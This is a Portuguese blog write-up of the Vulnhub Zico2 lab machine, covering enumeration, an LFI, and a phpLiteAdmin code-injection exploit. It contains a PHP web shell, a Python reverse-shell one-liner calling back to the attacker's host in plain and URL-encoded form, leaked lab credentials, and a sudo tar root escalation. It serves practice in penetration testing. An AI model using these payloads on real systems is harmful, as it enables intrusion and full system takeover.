Home Vulnhub - Zico2
Post
Cancel

Vulnhub - Zico2

Scan/Enumeracao

Host Discovery

Com o comando arp-scan varremos a rede para descobrir os hosts ativos e consequentemente o IP do nosso alvo: 192.168.110.11

1
sudo arp-scan -I eth1 192.168.110.0/24

Port Discovery

Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 04 delas abertas. 22, 80, 111 e 37011

1
sudo nmap -n -T5 -p- 192.168.110.11

Port Scan

Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo

1
sudo nmap -n -T5 -A -p 22,80,111,37011 192.168.110.11

  • Porta 22: ssh OpenSSH 5.9p1 Debian 5ubuntu1.10)
  • Porta 80: http Apache httpd 2.2.22
  • Porta 111: rpcbind 2-4 (RPC #100000)
  • Porta 37011: 1 (RPC #100024)

Enumeracao/Exploracao Web - Porta 80

Inspecao visual

Temos na pagina princial o site Zico’s Shop

Rolando a pagina para baixo encontramos um botao que nos leva para outra pagina

Nao encontrmaos nada de mais no codigo fonte…

Enumeracao - Nikto

1
nikto -h http://192.168.110.11/  

Rodamos o nikto na aplicacao mas nao conseguimos nada de muito importante

Enumeracao - Gobuster

Rodamos o gobuster na aplicacao e encontramos alguns arquivos e diretorios

1
gobuster dir -u http://192.168.110.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,js,html,txt

Aqui estao alguns diretorios e arquivos interessantes que encontramos no fuzzy

  • /img: Existem alguns diretoios recursivos que estao armazenando as imagens da aplicacao

  • /tools ou /tools.html: Pagina que ja tinha conseguido encontrar na inspecao visual

  • /package: Pagina com informacoes do JSON

  • /dbadmin: Pagina que o proprio nome e sugestivo. Deve ter algo de administracao… Nela contem um arquivo “test_db.php

LFI

Conseguimos um LFI na segunda pagina que encontramos na inspecao visual: http://192.168.110.11/view.php?page=tools.html

1
http://192.168.110.11/view.php?page=../../../../../etc/passwd

phpLiteAdmin

Acessando a pagina “http://192.168.110.11/dbadmin/test_db.php” temos uma pagina de autenticacao do phpLiteAdmin versao 1.9.3

Testando as senhas obvias, consegui acesso com a senha admin

Depois de realizar um reconhecimento na aplicacao foi observado que conseguimos ter acesso, atraves das colunas info e SQL, a informacoes do bando de dados

Na aba SQL ja tinha a query para realizar a consulta no banco de dados, o unico trabalho foi clicar em “GO”. Conseguimos duas credenciais, porem a senha esta codificada

  • root:653F4B285089453FE00E2AAFAC573414
  • zico:96781A607F4E9F5F423AC01F0DAB0EBD

hashes.com

Decodificando os hashes que encontramos temos:

  • root:34kroot34

  • zico:zico2215@

Tentei logar com o SSH mas nao deu certo nenhuma das duas credenciais

Exploit Publico - searchsploit

Ja que nao conseguimos nenhum RCE ou um ponto de injecao para inserir o nosso payload, vamos pesquisar por exploits publicos… O exploit 24044 parece bem promissor por permitir execucao de codigo e ser para a mesma versao do software que esta rodando no alvo

1
2
searchsploit phpLiteAdmin
searchsploit -m 24044

Resumidamente o exploit e uma informacao que diz que a aplicacao e vulneravel a injecao de vodigo php. Para isso devemos criar um banco de dados com a extensao “.php” e depois criar uma tabela e inserir em um campo da tabela o codigo php que queremos. Entao vamos la…

Primeiramente vamos criar o banco de dados

Agora vamos selecionar o banco de dados criado

Criamos a tabela

Criar a coluna com o valor default

1
<?php phpinfo()?>

Conseguimos criar o nosso payload

Sabendo que o bando de dados esta em /usr/databases/charlie_teste.php entao vamos executa-lo utilizando o LFI

1
http://192.168.110.11/view.php?page=../../../../../usr/databases/charlie_teste.php

Ja que temos certeza que podemos executar codigo desta forma vamos ganhar o shell reverso

Shell Reverso

Agora para ganhar o shell vamos implantar no nosso payload “php do mal” no lugar do “phpinfo()” para executar comando via URL

1
2
3
<?php echo system($_GET["cmd"]); ?>
# Os dois dao certo
<?php echo shell_exec($_GET["cmd"]); exit; ?>

Vamos chamar o arquivo com o LFI para testa-lo

1
http://192.168.110.11/view.php?page=../../../../../usr/databases/charlie.php&cmd=whoami

Depois de testado procuramos por um comando para nos retornar o shell reverso. Utilizamos o rbscheat que pode ser encontrado no GitHub

1
rbscheat -i 192.168.110.3:443 -l python

  • python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.110.3”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Vamos codificar para URL o comando acima para enviar pelo browser

  • %70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%31%31%30%2e%33%22%2c%34%34%33%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27

Agora enviamos o payload para shell reverso via URL.

1
192.168.110.11/view.php?page=../../../../../usr/databases/charlie.php&cmd=%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%31%31%30%2e%33%22%2c%34%34%33%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27

Antes de enviar temos que deixar a porta escutando para receber o shell. Invocamos o bash para posteriormente conseguirmos “mehorar” o shell

1
2
bash
sudo nc -lnvp 443

Shell Interativo

Vamos melhorar o shell cachorro que recebemos. Para isso os seguintes passos devem ser seguidos:

  • 1: Importar o tty
1
python -c 'import pty; pty.spawn("/bin/bash")'
  • 2: CTRL+Z
  • 3: No shell da maquina kali digitar o seguinte comando
1
stty raw -echo
  • 4: Ainda no shell da kali digitar fg e depois pressionar duas vezes o Enter
  • 5: Digitar o seguinte comando no shell do alvo:
1
export TERM=xterm

Usuario “www-data”

Escalando Privilegio

Seguindo a metodologia conseguimos achar algumas coisas que nos chamou atencao no /home/zico

Lendo o arquivo to_do.txt, parece ser uma lista de coisas para fazer. Parece que temos algumas coisas em desenvolvimento…

Olhando o dietorio do joomla nao encontramos nada de interessante. Enviamos o arquivo “zico-history.tar.gz” para a kali, descompactamos e lemos ele, porem nao tem nada de interessante, so uma copia da historia do ex jogador de futebol Zico.

Acessando o diretorio /wordpress verificamos que existe o arquivo wp-config.php

Encontramos a credencial para a conexao do wordpress com o MySQL zico:sWfCsfJSPV9H3AmQzw8

Tentamos logar com a credencial encontrada no MySQL porem nao conseguimos

Jogamos a senha no hash-identifier para verifcar se era algum tipo de hash e o resultado foi negativo

O proximo passo foi tentar logar com o usuario zico da maquina com essa senha. Conseguimos escalar privilegio para o usuario zico

Usuario “zico”

Escalando Privilegio

Seguindo a metodologia a primeira coisa que testamos foi o comando sudo -l. Verificamos que podemos executar os comando tar e zip

GTFOBINS

Pesquisamos o que poderiamos fazer com esses comandos para escalar privilegio no portal do GTFOBINS

Comando “tar

Vamos utilizar o comando tar para escalar

1
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Usuario “root”

**Excelente. I am gROOT!

Flag “root”

Conseguimos pegar a flag de root

Bonus

Escalar Privilegio - Vulnerabiliade do Kernel

Conseguimos escalar privilegio, tambem, por meio de um exploit que explora uma vulnerbilidade do kernel

1
uname -a

1
searchsploit 3.2.0-23

Licoes aprendidas

Demorei mais de duas horas quebrando a cabeca para ganhar o shell do “www-data” porque o comando php que estava enviando para conseguir RCE estava com as aspas (“) diferentes e a aplicacao nao conseguia executar o comando, portanto nao conseguia o RCE e muito menos o shell do usuario.

This post is licensed under CC BY 4.0 by the author.
Contents